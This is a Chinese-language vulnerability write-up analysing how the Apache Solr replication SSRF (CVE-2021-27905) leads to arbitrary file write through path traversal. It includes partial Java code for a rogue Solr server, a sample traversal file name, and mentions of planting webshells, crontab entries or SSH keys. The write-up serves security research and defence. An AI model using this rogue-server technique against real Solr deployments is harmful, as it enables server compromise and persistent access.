作者:Ricter Z@360高級攻防實驗室
原文鏈接:http://noahblog.#/apache-solr-8-8-1-ssrf-to-file-write/
0x01. TL; DR
事情要從 Skay 的 SSRF 漏洞(CVE-2021-27905)說起。正巧后續的工作中遇到了 Solr,我就接著這個漏洞進行了進一步的分析。漏洞原因是在于 Solr 主從復制(Replication)時,可以傳入任意 URL,而 Solr 會針對此 URL 進行請求。
說起主從復制,那么對于 Redis 主從復制漏洞比較熟悉的人會知道,可以利用主從復制的功能實現任意文件寫入,那么 Solr 是否會存在這個問題呢?通過進一步的分析,我發現這個漏洞豈止于 SSRF,簡直就是 Redis Replication 文件寫入的翻版,通過構造合法的返回,可以以 Solr 應用的權限實現任意文件寫。
對于低版本 Solr,可以通過寫入 JSP 文件獲取 Webshell,對于高版本 Solr,則需要結合用戶權限,寫入 crontab 或者 authorized_keys 文件利用。
0x02. CVE-2021-27905
Solr 的 ReplicationHandler 在傳入 command 為 fetchindex 時,會請求傳入的 masterUrl,漏洞點如下:

SSRF 漏洞到這里就結束了。那么后續呢,如果是正常的主從復制,又會經歷怎么樣的過程?
0x03. Replication 代碼分析
我們繼續跟進 doFetch 方法,發現會調用到 fetchLatestIndex 方法:

在此方法中,首先去請求目標 URL 的 Solr 實例,接著對于返回值的 indexversion 和 generation 進行判斷:

如果全部合法(參加下圖的 if 條件),則繼續請求服務,獲取文件列表:

文件列表包含filelist、confFiles 和 tlogFiles 三部分,如果目標 Solr 實例返回的文件列表不為空,則將文件列表中的內容添加到 filesToDownload 中。這里 Solr 是調用的 command 是 filelist。

獲取下載文件的列表后,接著 Solr 會進行文件的下載操作,按照 filesToDownload、 tlogFilesToDownload、confFilesToDownload 的順序進行下載。

我們隨意跟進某個下載方法,比如 downloadConfFiles:

可以發現,saveAs 變量是取于 files 的某個屬性,而最終會直接創建一個 File 對象:

也就是說,如果 file 的 alias 或者 name 可控,則可以利用 ../ 進行目錄遍歷,造成任意文件寫入的效果。再回到 fetchFileList 查看,可以發現,filesToDownload 是完全從目標 Solr 實例的返回中獲取的,也就是說是完全可控的。

0x04. Exploit 編寫
類似于 Redis Replication 的 Exploit,我們也需要編寫一個 Rogue Solr Server,需要實現幾種 commands,包括 indexversion、filelist 以及 filecontent。部分代碼如下:
if (data.contains("command=indexversion")) {
response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
response = "Hello World".getBytes();
}
t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()123456789101112131415
返回惡意文件的代碼如下:
public static ByteArrayOutputStream makeFileListResponse() throws IOException {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
JavaBinCodec codec = new JavaBinCodec(null);
NamedList<Object> values = new SimpleOrderedMap<>();
NamedList<Object> headers = new SimpleOrderedMap<>();
headers.add("status", 0);
headers.add("QTime", 1);
values.add("responseHeader", headers);
HashMap<String, Object> file = new HashMap<>();
file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file.put("lastmodified", new Long("123456"));
file.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
fileList.add(file);
HashMap<String, Object> file2 = new HashMap<>();
file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file2.put("lastmodified", new Long("123456"));
file2.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
fileList2.add(file2);
values.add("confFiles", fileList);
values.add("filelist", fileList2);
codec.marshal(values, outputStream);
return outputStream;1234567891011121314151617181920212223242526272829303132
其中 DIST_FILE 為攻擊者傳入的參數,比如傳入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要寫入的文件的路徑。攻擊效果如下:

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1597/
暫無評論